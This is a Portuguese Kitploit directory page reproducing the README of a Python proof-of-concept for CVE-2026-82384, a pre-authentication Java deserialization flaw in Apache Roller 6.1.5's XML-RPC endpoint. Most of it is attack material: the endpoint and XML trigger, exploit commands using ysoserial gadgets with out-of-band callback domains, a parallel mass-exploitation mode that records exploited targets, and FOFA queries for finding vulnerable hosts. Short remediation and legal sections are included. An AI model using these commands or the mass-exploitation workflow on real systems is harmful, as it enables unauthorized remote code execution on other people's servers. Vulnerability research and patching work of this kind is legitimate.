Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-82384 — PoC em Python para CVE-2026-82384: deteta e explora desserialização Java não autenticada via XML-RPC no Apache Roller 6.1.5 através de payloads ysoserial, com varrimento em massa. | Kitploit
Ferramentas/GitHubGitHub/murrez/cve-2026-82384
ReconhecimentoGeração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubmurrez/cve-2026-82384

CVE-2026-82384

PoC em Python para CVE-2026-82384: deteta e explora desserialização Java não autenticada via XML-RPC no Apache Roller 6.1.5 através de payloads ysoserial, com varrimento em massa.

12há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

CVE-2026-82384 — Desserialização XML-RPC no Apache Roller 6.1.5

PoC em Python 3 para CVE-2026-82384 — desserialização Java não autenticada no servlet legado XML-RPC do Apache Roller 6.1.5.

Página do PoC: https://pocbit.org/pocs/cve-2026-82384


O que é o Apache Roller?

O Apache Roller é um servidor de blogs multiusuário baseado em Java (historicamente "Roller Weblogger"). As implantações costumam ser WARs em Tomcat com uma interface em /roller-ui/ e APIs legadas Blogger / MetaWeblog sobre XML-RPC em /roller-services/xmlrpc. O Roller 6.1.5 (setembro de 2025) corrigiu um problema de sessão não relacionado (CVE-2025-24859), mas deixou a pilha XML-RPC em uma configuração perigosa para esta CVE.


A vulnerabilidade em linguagem simples

CVE-2026-82384 é desserialização de dados não confiáveis (CWE-502) no endpoint XML-RPC:

  1. O XmlRpcServlet do Roller está configurado com enabledForExtensions=true, então a biblioteca Apache ws-xmlrpc aceita tipos de extensão de fornecedor, incluindo ex:serializable — um objeto Java serializado codificado em base64.
  2. Essa análise ocorre durante o tratamento da requisição HTTP, antes de a autenticação Blogger/MetaWeblog ser avaliada.
  3. O mapeamento do servlet está sempre presente no web.xml, então o parser ainda é executado mesmo quando os administradores desativam o XML-RPC nas configurações do Roller (webservices.enableXmlRpc=false). Desativar o recurso na interface não fecha esse caminho pré-autenticação no 6.1.5.
  4. Um atacante remoto envia um corpo XML-RPC manipulado; o servidor desserializa os bytes do atacante → execução remota de código na JVM (mesma classe de falha da histórica CVE-2016-5003 no ws-xmlrpc / Archiva).

Afetado: apenas Apache Roller 6.1.5 (conforme o aviso do fornecedor).
Corrigido: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, e requisições rejeitadas quando o XML-RPC está desativado globalmente.

MétricaValor
CVSS 3.19.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticaçãoNenhuma para a primitiva de desserialização
Descobridorn0mi1k
FornecedorApache Software Foundation

Superfície de ataque

ItemDetalhe
EndpointPOST /roller-services/xmlrpc (tente também /roller/roller-services/xmlrpc)
Content-Typetext/xml
Gatilho<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> dentro de um methodCall
Cadeia de gadgetsDepende do classpath (Commons Collections, etc.); frequentemente gerada com ysoserial
ImpactoRCE como o usuário de SO do Tomcat/Roller; tipicamente controle total dos dados do blog e pivô no host

O que este PoC faz

ModoComportamento
checkEncontra impressões digitais do Roller, localiza a URL XML-RPC, --probe-deser opcional (envia bytes de sondagem ex:serializable)
exploitEnvia seu payload serializado (arquivo, base64 ou ysoserial via --ysoserial-jar)
Mass--list targets.txt --mode exploit -j N — execução em massa paralela com JSONL + exploited.txt

Campos PoCbit: pocbit, pocbit_catalog, pocbit_page em cada linha JSONL.
CLI: banner colorido, linhas [HIT] / [EXPLOIT] / [FAIL] (desative com --no-color).

Este repositório não inclui cadeias de gadgets RCE ativas (dependentes do classpath). Para exploração real, forneça a saída do ysoserial ou um arquivo de payload verificado.


Requisitos

pip install -r requirements.txt

Para RCE (não apenas deteção):

  • Java + ysoserial JAR na máquina do atacante
  • Exemplos de gadgets: URLDNS (prova out-of-band), CommonsCollections6 (execução de comandos no classpath típico do Roller — verificar primeiro no laboratório)

Utilização

Deteção

python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12

Exploit (alvo único)

# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd pocbit.your-oast.domain

# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64

# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin

Exploração em massa de vulnerabilidades

python poc.py --list targets.txt --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd oast.example.com -j 10

Saídas:

  • cve_2026_82384_exploit.jsonl — JSON por alvo
  • exploited.txt — alvos onde o payload foi aceito / OOB enviado

Formato de exemplo do XML-RPC (educacional)

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          BASE64_JAVA_SERIALIZED_OBJECT
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>

Em 6.1.5, a análise desse corpo pode desserializar antes que qualquer manipulador de método imponha credenciais.


Remediação

  1. Atualize para o Roller 6.1.6+ imediatamente.
  2. Até a correção: bloqueie /roller-services/xmlrpc no proxy reverso / WAF (permita apenas IPs de administração na allowlist).
  3. Inventário: procure por hosts de blog Apache Roller, /roller-ui/, porta 8080/8443.
  4. Problemas relacionados da mesma versão: CVE-2026-82377 (autorização XML-RPC), CVE-2026-82386 (XXE na importação de favoritos) — também corrigidos em 6.1.6.

FOFA / hunting (exemplos)

body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"

Confirme a versão 6.1.5 no rodapé, na página "about" ou em WEB-INF / notas de versão antes de tratá-la como explorável.


Legal

Use apenas em sistemas que você está autorizado a testar. Exploits de desserialização podem destruir dados e violar a lei se usados indevidamente.

Baixar ferramenta